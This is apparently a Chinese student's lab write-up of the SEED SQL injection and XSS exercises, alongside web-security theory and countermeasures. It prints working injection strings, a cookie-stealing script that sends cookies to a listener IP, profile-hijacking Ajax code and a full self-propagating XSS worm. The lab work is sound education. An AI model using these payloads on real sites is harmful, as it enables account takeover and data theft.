《网络攻防实践》12.0
20199110 2019-2020-2 《网络攻防实践》第十一周作业
- 20199110 2019-2020-2 《网络攻防实践》第十一周作业
- 1.实践内容
- 2.实践过程
- 任务一
- 实操
- 任务二
- 实操
- Preparation: Getting Familiar with the "HTTP Header Live" tool
- Task 1: Posting a Malicious Message to Display an Alert Window
- Task 2: Posting a Malicious Message to Display Cookies
- Task 3: Stealing Cookies from the Victim’s Machine
- Task 4: Becoming the Victim’s Friend
- Task 5: Modifying the Victim’s Profile
- Task 6: Writing a Self-Propagating XSS Worm
- Task 7: Countermeasures
- 3.学习中遇到的问题及解决
- 4.实践总结
- 参考资料
1.实践内容
第十一章是Web应用程序安全攻防,属于第四部分Web安全攻防技术与实践。包括Web应用程序体系结构及其安全威胁、Web应用安全攻防技术概述、SQL注入、XSS跨站脚本攻击四部分内容。
1.1 Web应用程序体系结构及其安全威胁
Web应用程序(Web Application)是一种使用浏览器在互联网或企业内部网上进行访问操作的应用软件形态,通常以浏览器支持的语言(JavaScript等脚本语言及HTML等渲染标记语言)所编写,或能够在浏览器控制的环境中运行(如Java Applet),依赖于浏览器来对应用程序进行渲染与执行。
1.1.1 Web应用体系结构
Web应用体系结构中关键组件有浏览器(Browser)、Web服务器(Web Server,HTTP守护程序)、Web应用程序(Web Application)、数据库(Database)、传输协议HTTP/HTTPS。
1.1.2 Web应用安全威胁
-
针对浏览器和终端用户的Web浏览器安全威胁(网页木马、Phishing网站钓鱼等)
-
针对传输网络的网络协议安全威胁(敏感信息监听、假冒身份攻击、拒绝服务攻击等)
-
系统层安全威胁(远程渗透攻击、本地渗透攻击等)
-
Web服务器软件安全威胁(利用IIS、Apache安全漏洞和弱点对Web服务器进行渗透攻击)
-
Web应用程序安全威胁(SQL注入攻击、XSS跨站脚本攻击等)
-
Web数据安全威胁(数据窃取、篡改及输入不良信息等)
1.2 Web应用安全攻防技术概述
1.2.1 Web应用信息收集
针对Web应用的攻击也需要首先进行信息情报的收集,具体包括服务器域名、IP地址和虚拟IP地址,Web服务器端口与其他开放服务,Web站点类型和版本,Web应用程序类型与版本,以及Web服务器和Web应用程序中存在的安全漏洞信息等。主要手段有:
-
手工审查Web应用程序结构与源代码
-
自动下载与镜像Web站点页面
-
使用Google Hacking技术审查与探测Web应用程序
-
Web应用程序安全评估与漏洞探测
1.2.2 Web服务器安全漏洞
Web服务器平台中的安全漏洞主要分为数据驱动的远程代码执行安全漏洞(MS08-006)、服务器功能扩展模块漏洞、样本文件安全漏洞、源代码泄露、资源解析攻击等。
1.2.3 Web应用程序安全威胁
Web应用程序安全威胁从攻击技术角度可分为以下六类:针对认证机制的攻击、授权机制的攻击、客户端攻击、命令执行攻击、信息暴露、逻辑攻击。
1.2.4 Web数据安全威胁
Web站点除了通过服务器软件和应用程序中存在安全漏洞和弱点遭受攻击之外,还面临针对敏感数据内容的攻击威胁,具体包括安全敏感数据泄露、网站篡改(Website Defacement)、不良信息内容上传。
1.2.5 Web应用安全防范措施
-
Web站点网络传输安全设防措施(使用HTTPS协议、使用SSL和SFTP等安全协议、对关键Web服务器设置静态绑定MAC-IP映射等)
-
Web站点操作系统与服务安全设防措施(对Web站点操作系统与服务器软件进行及时的补丁更新、远程安全漏洞扫描并及时修补、采用提升系统与服务安全性的一般性设防措施等)
-
Web应用程序安全设防措施(谨慎考虑使用动态页面技术、使用安全稳定的Web应用软件包、只在必要时候自主或外包开发Web应用程序、使用Web服务器软件提供的日志功能进行日志记录与安全审计等)
-
Web站点数据设防措施(提高网站内容维护人员的数据安全意识、对维护网站的数据安全实施日常监测和防护等)。
1.3 SQL注入
SQL注入是利用Web应用程序数据层存在的输入验证不完善型安全漏洞实施的一类代码注入攻击技术。这类攻击漏洞被称为SQL注入漏洞,是由于用户输入没有被正确地过滤以消除SQL语言中的字符串字符或者没有进行严格的类型判断,从而使得用户可以输入并执行一些非预期的SQL指令代码。
1.3.1 攻击原理
SQL注入攻击的原理是向Web应用程序提供的用户输入接口输入一段精心构造的SQL查询命令,攻击和利用不完善的输入验证机制,使得注入代码得以执行完成非预期的攻击操作行为。
1.3.2 攻击过程
SQL注入攻击步骤和过程为发现SQL注入点、判断后台数据库类型(利用数据库服务器的系统变量或系统表进行判断)、后台数据库中管理员用户口令字猜解(包括猜解表名、字段名、用户名与口令)、上传ASP后门并得到默认账户权限、本地权限提升、利用数据扩展存储过程执行Shell命令。
1.3.3 攻击工具
SQL注入攻击工具有Wposion、wieliekoek.pl、SPIKE Proxy、SPI Toolkit、CSC、NBSI、HDSI、WED等。
1.3.4 防范措施
防范SQL注入攻击的措施有使用类型安全的参数编码机制、完备检查外部用户输入、将动态SQL语句替换为存储过程和预编译SQL或ADO命令对象、加强SQL数据服务的配置与连接等。
1.4 XSS跨站脚本攻击
XSS攻击的根源是Web应用程序对用户输入内容的安全验证与过滤不够完善,XSS攻击的最终目标是访问Web服务器的其他用户。
1.4.1 攻击分类
XSS漏洞主要分为持久性XSS漏洞(Persistent Cross Site Scripting)和非持久性XSS漏洞(Non-persistent Cross Site Scripting,也被称为反射XSS漏洞),与之对应的XSS攻击为持久性XSS攻击和非持久性XSS攻击。还有一种在客户端代码中存在的XSS漏洞及攻击技术,被称为基于DOM的XSS(DOM-based XSS)。
1.4.2 攻击过程
XSS漏洞攻击的步骤通常为测试XSS漏洞、显示用户的会话Cookie、窃取用户的会话Cookie、利用Cookie信息假冒其他用户发表与修改帖子、编写实现XSS蠕虫。
1.4.3 防范措施
XSS攻击防范措施有服务器端防范措施(输入验证、输出净化、消除危险输入点三重防御方法)、客户端防范措施(提高浏览器访问非授信网站时的安全等级、关闭Cookie功能或设置Cookie只读、采用非主流安全浏览器(Chrome、Opera)降低安全风险等)。
2.实践过程
任务一
课外实践作业一:SEED SQL注入实验
实践内容:作业一.pdf
注:本实践作业由SEED Project提供,本书附送DVD中包含了上述文档的中文翻译版,供参考。
实操
Task 1: Get Familiar with SQL Statements
(1)首先使用指令mysql -u root -pseedubuntu
登陆MySql
数据库,-u
指定用户名,-p
指定密码。然后使用指令use Users; show tables;
查看该数据库下面的表。
(2)使用指令select * from credential;
来打印所有员工的信息,在这里可以看到员工的姓名、工资以及hash之后的密码等信息。如果要查询单独的某一个用户,可以通过select * from credential where Name=Alice;
语句进行查询。
Task 2: SQL Injection Attack on SELECT Statement
(1)SQL Injection Attack from webpage
(I)首先我们打开网站SEEDLabSQLInjection.com
,其对应的文件地址在/var/www/SQLInjection
。其中有一个存在sql
注入攻击的主页unsafe_home.php
,我们可以通过vim unsafe_home.php
查看对应的源码。
分析文件代码,我们不难看到这里主要使用了$_GET[’username’]
和$_GET[’Password’]
两个session中的元素,并且对pwd进行了hash运算获得加密之后的参数。接下来使用$input_uname
和$input_uname
构建sql查询语句。最后,我们注意到对于Admin和其他员工所显示的页面是不同的。通过修改“nickname”里边的内容,我们可以实现SQL注入攻击。
# 原语句
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’$input_uname’ and Password=’$hashed_pwd’
# 攻击语句
SELECT id, name, eid, salary, birth, ssn, address, email, nickname, Password FROM credential WHERE name= ’Admin’ # and Password=’$hashed_pwd’
#
在sql语句中代表注释,也就是说上述代码中#之后的内容在实际执行sql语句的过程中是不执行的。这也就是最简单的sql注入攻击。
(II)sql注入攻击之后,我们返回浏览器进入登录界面,使用账号Admin无密码登录,成功进入主页。也就证明了我们攻击的成功。
(2)SQL Injection Attack from command line.
(I)这里我们需要用到一个Linux下的自带工具curl
。它可以用来请求页面,由于这个网页是使用GET的方式传递数据,我们也就可以使用将参数放置在请求的方式进行sql注入攻击。具体的命令为
curl http://www.seedlabsqlinjection.com/unsafe_home.php?username=Admin%27%23&Password=123
执行完指令后,根据返回结果不难看出,sql注入攻击成功。
(3)Append a new SQL statement.
在上述两个sql注入攻击中,我们仅仅从数据库中拿到了已有的数据,现在我们要做的就通过sql注入插入或者修改数据。具体的执行的登录代码为Admin'; update credential set salary='123456' where Name='Admin' #
。
登录进入主页后,我们发现Admin的salary并没有修改成功。这表明我们的攻击失败了。
Task 3: SQL Injection Attack on UPDATE Statement
(1)Modify your own salary.
(I)首先我们查看后台代码vim /var/www/SQLInjection/unsafe_edit_backend.php
,从中我们不难找到相关的后台数据修改的代码。代码的核心还是那个动态构建的sql语句,这也就是sql注入攻击的关键。
(II)输入的NickName字段为',salary='123456' where Name='Alice'; #
,我们将特殊构建的NickName字段输入Edit Profile
页面的NickName字段,然后点击Save。
(III)返回主页之后,我们可以看到Alice的salary已经被成功修改。
(2)Modify other people’ salary.
(I)本部分的内容和上一步的操作相似。首先我们构建NickName字段的值为',salary=233333 where Name='Boby'#
。我们将特殊构建的NickName字段输入Edit Profile
页面的NickName字段,然后点击Save。
(II)返回主页之后,我们可以看到Boby的salary已经被成功修改。
(3)Modify other people’ password.
(I)我们知道密码在数据库中是以sha1的形式存储的,首先我们需要获取一个指定密码的sha1值。使用指令echo -n '12345678'|sha1sum
输出密码12345678
的sha1值。
(II)接下来继续以Alice的账户登录,继续在edit profile
中修改NickName为', Password='Boby密码sha1值' where Name='Boby';#
进行Boby登录密码sha1值的修改。
(III)这个时候我们正常登陆Boby的账户,发现通过我们修改的12345678
密码已经能够完成正常的登录。
(IV)返回终端,我们使用指令select * from credential where Name=Boby;
查看Boby的相关信息。我们可以看到Boby的password
已经变成了12345678
的sha1值。双重验证表明攻击成功。
Task 4: Countermeasure — Prepared Statement
为了了解如何防御sql注入攻击,我们首先要知道sql语句的编译过程。编译sql语句主要分为四个阶段Parsing & Normalizaion Phasing
、Compilation Phase
、Query optimization Phase
和Cache
。
对于每个进行查询的sql语句,先要从cache进行查询看是否有已经编译好的程序,如果有就直接进行使用。若没有,则格式化字符串,编译语句,查询编译语句的优化执行,将编译好的内容放入cache,最后执行编译好的sql语句。
这里额外需要注意到的是,对于编译好的内容,各个标签的含义是确定的。例如我们使用', salary=233333 where Name='Boby'#
在上文对Nickname字段进行注入。但是在预编译好的sql语句中', salary=233333 where Name='Boby'#
这一个完整的字段将看作nickname标签的参数,这样就杜绝了通过构建sql语句进行的sql注入攻击。
首先我们先给出常见的通过组合构建sql语句进行的查询
$sql = "SELECT name, local, gender FROM USER_TABLE WHERE id = $id AND password =’$pwd’ ";
$result = $conn->query($sql))
接下来我们给出通过sql预编译形成的查询语句,语义和上述代码等价
$stmt = $conn->prepare("SELECT name, local, gender FROM USER_TABLE WHERE id = ? and password = ? ");
// Bind parameters to the query
$stmt->bind_param("?", $id, $pwd);
$stmt->execute();
$stmt->bind_result($bind_name, $bind_local, $bind_gender);
$stmt->fetch();
任务二
课外实践作业二:SEED XSS攻击实验
实践内容:作业二.pdf
注: 本实践作业由SEED Project提供,本书附送DVD中包含了上述文档的中文翻译版,供参考。
实操
Preparation: Getting Familiar with the "HTTP Header Live" tool
下面部分为准备信息:
# Elgg中已经注册的账户信息
User UserName Password
Admin admin seedelgg
Alice alice seedalice
Boby boby seedboby
Charlie charlie seedcharlie
Samy samy seedsamy
# 当前站点的地址和对应的后台文件地址
URL: http://www.xsslabelgg.com
Folder: /var/www/XSS/Elgg/
接下来我们需要安装HTTP Header Live
插件。首先我们打开firefox附加组件。查找上述组件,安装,接下来我们可以在View->SideBar
中找到它。
在接下来的实验中,我们使用Alice
作为攻击者,Boby
作为受害者,Admin
作为蠕虫攻击的第二波受害者。
Task 1: Posting a Malicious Message to Display an Alert Window
(I)使用Alice的账号密码进行登录,打开Alice的个人页面,进入Edit profile
进行编辑。
(II)在Brief description
中插入我们的XSS攻击代码<script> alert('XSS');</script>
。
(III)点击下方的Save就能看到XSS攻击的结果。
Task 2: Posting a Malicious Message to Display Cookies
(I)与上面任务操作类似,在Alice的Brief description
中插入我们的XSS攻击代码<script> alert(document.cookie);</script>
。
(II)点击下方的Save就能看到XSS攻击的结果。
Task 3: Stealing Cookies from the Victim’s Machine
(I)首先我们要将上文获得的cookie
放入一个特殊构建的请求,向攻击者服务器发送这个请求。我们在Alice的Brief description
中插入下述代码。
<script>document.write(’<img src=http://192.168.200.13:9456?c=’+escape(document.cookie) + ’ > ’);
</script>
说明:192.168.200.13是我的seed的地址,可以改成任意的可访问的ip地址,后面的端口号可以任意填写,但是不能与现有端口号重复。
(II)然后我们在上文ip地址对应的机器上运行命令nc -l 9456 -v
(nc就是netcat,-l命令指明监听的是TCP连接,9456是上文提到的端口号,-v用来输出更详细的信息)。之后任意用户访问Alice的主页都将向攻击者的服务器发送对应的cookie信息。最后得到的结果如下图,获取到的cookie也在其中。
Task 4: Becoming the Victim’s Friend
(I)首先我们应该通过HTTP Header Live
查看加朋友的时候都干了什么?可以看到首先这是一个add friends的action,然后紧接着就是elgg_ts和 elgg_token,这是Elgg本身自带的一套严格的表单验证方法,通过才可以进行加朋友。同样,我们可以看到朋友的id和cookie,通过这些东西我们构造了JavaScript脚本。
(II)接下来,我们首先将Boby好友删除,方便和后面形成对比查看。
(III)下面这段程序就是我们构造的JavaScript程序了,其中的sendurl
中包含了加朋友所需要的东西,也就是我们上面分析的。所以,现在把这段程序放在Alice的About me
中(这里注意要是edit HTML模式),因为原来的brief
限制长度。这段代码首先是获取elgg_ts
和elgg_token
,然后构造一个URL
访问,44
是Alice号。
<script type="text/javascript">
window.onload = function () {
var Ajax=null;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the HTTP request to add Samy as a friend.
var sendurl="http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token;
//Create and send Ajax request to add friend
Ajax=new XMLHttpRequest();
Ajax.open("GET",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
Ajax.send();
}
</script>
(IV)那么我们接下来用Boby账号进行登录,然后访问Alice的主页,Boby就会自动加Alice为好友。返回主页,我们看到右上角Boby成功添加Alice为好友。
Task 5: Modifying the Victim’s Profile
(I)和上一个问题类似,我们首先要用HTTP Header Live
看看修改资料时要做那些事情。同样的,我们可以看到用户在修改自己的profile
时发送的http
请求的具体格式。通过这个方式构造和上面相近的JavaScript程序。
(II)下面这段程序就是构造的JavaScript程序,主要部分在于构造content
,其中的几个字段都是profile
中的内容,需要修改什么直接修改就好。同时需要指定sendurl
。这些内容都是从HTTP Header Live
中得到的,然后ajax执行。
<script type="text/javascript">
window.onload = function(){
//JavaScript code to access user name, user guid, Time Stamp __elgg_ts
//and Security Token __elgg_token
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=token+ts+"name="+userName+"&description=<p>This have been cracked by alice.</p>&accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2"+guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit";
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
//Create and send Ajax request to modify profile
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
(III)将上述代码同样放在Alice的about me
中(这里注意要是edit HTML模式)。
(IV)接着使用Boby账号进行登录,然后访问Alice的profile
,返回Boby主页,我们可以看到this had been changed by xss attack.
。
Task 6: Writing a Self-Propagating XSS Worm
(I)在实验指导书中给出了两种方法实现XSS蠕虫,其中一种是链接的方法,使用<script>
标记中的src
属性包含蠕虫;第二种方法是DOM
方法即将蠕虫代码嵌入到受感染的配置文件中,以便将蠕虫传播到另一个配置文件中,蠕虫diamante
可以将DOMAPI
从Web页面检索到自身的副本。下面是指导书上提供的蠕虫传播代码:
<script id=worm>
var headerTag = "<script id=\"worm\" type=\"text/javascript\">"; ➀
var jsCode = document.getElementById("worm").innerHTML; ➁
var tailTag = "</" + "script>"; ➂
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag); ➃
alert(headerTag + jsCode + tailTag);
</script>
说明:从①②③④可以看到整个蠕虫传播代码从定义头标签到JsCode
蠕虫定义,再到将定义的蠕虫组合成④这条语句,最后使用alert
输出;
(II)首先我们开始编写代码,我们的目的就是这段代码能够复制到其他用户那里,那么我们的蠕虫目标就是完成了的,所以我们使用DOM
来查看和使用HTML
代码,innerHTML
方法是开始和结束标签之间的HTML
。
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid)
{
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
(II)我们将上面的代码放在Alice的about me
中(这里注意要是edit HTML模式)。
(III)接下来我们让Boby去访问Alice的主页,可以看到如下的信息。
(IV)然后我们使用Admin去访问Boby的主页,同样发现Admin被Boby感染。
Task 7: Countermeasures
-
可以使用内建的安全插件
HTMLawed
禁止部分代码块的执行。 -
可以使用PHP的内建函数
htmlspecialchars
用以转义上文中的HTML
代码中的一些符号。
3.学习中遇到的问题及解决
-
问题1:SQL指令和JAvaScript不是很熟悉。
-
问题1解决方案:主要在参考实验指导文档和同学博客完成相关理解。
-
问题2:在博客园中编辑内容时,
<script>
有东西,如果不将格式调整为代码格式,会直接截断文章内容。 -
问题2解决方案:刚开始怀疑是博客园篇幅限制,多次删减内容仍无法解决。在多次修改对比之后,发现可能是
<script>
格式问题,最后调整之后成功显示后面部分内容。
4.实践总结
本次实践重在理解分析,从而析出自己需要使用的代码。此外,本次实践也很着重细节,空格不到位或者符号不对都会产生意想不到的结果。这也说明编程和指令集追求准确性,降低失误率。
本次实践内容为Web安全攻防,主要和网站管理有关。SQL攻击和XSS攻击在现实中很常见,也是现在比较热门的一个攻防方向。。